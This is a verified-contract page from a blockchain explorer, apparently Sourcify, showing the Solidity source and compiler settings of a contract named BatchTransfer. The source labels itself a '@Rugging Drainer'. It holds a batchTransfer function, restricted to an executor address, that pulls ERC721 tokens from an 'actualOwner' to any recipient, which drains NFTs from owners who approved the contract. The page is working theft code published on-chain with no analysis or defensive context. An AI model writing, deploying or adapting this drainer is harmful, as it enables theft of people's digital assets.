Verified contractPartialMIT
BatchTransfer
Address0x2d23ffebde3e64c1d7e58f26b729f0a0884c6fd4
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.0
- Same code
Only this contract
Details
- Compiler
- solc 0.8.0+commit.c7dfd78e
- Language
- solidity
- Optimization
- No
- EVM version
- istanbul
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 16,829,489
- Creation transaction
- 0xffa6cf2b92…2f77070c9d
BatchTransfer.sol
// SPDX-License-Identifier: MIT
// @Rugging Drainer
pragma solidity 0.8.0;
interface ERC721Partial {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract BatchTransfer {
address private _executor;
constructor(){
_executor = msg.sender;
}
function batchTransfer(ERC721Partial tokenContract, address actualOwner,address recipient, uint256[] calldata tokenIds) external {
require(msg.sender == _executor,"Huh bro, Get out of here!");
for (uint256 index; index < tokenIds.length; index++) {
tokenContract.transferFrom(actualOwner, recipient, tokenIds[index]);
}
}
function setExecutor(address _newExector) external {
require(msg.sender == _executor,"Huh bro, Get out of here!");
_executor = _newExector;
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "istanbul",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.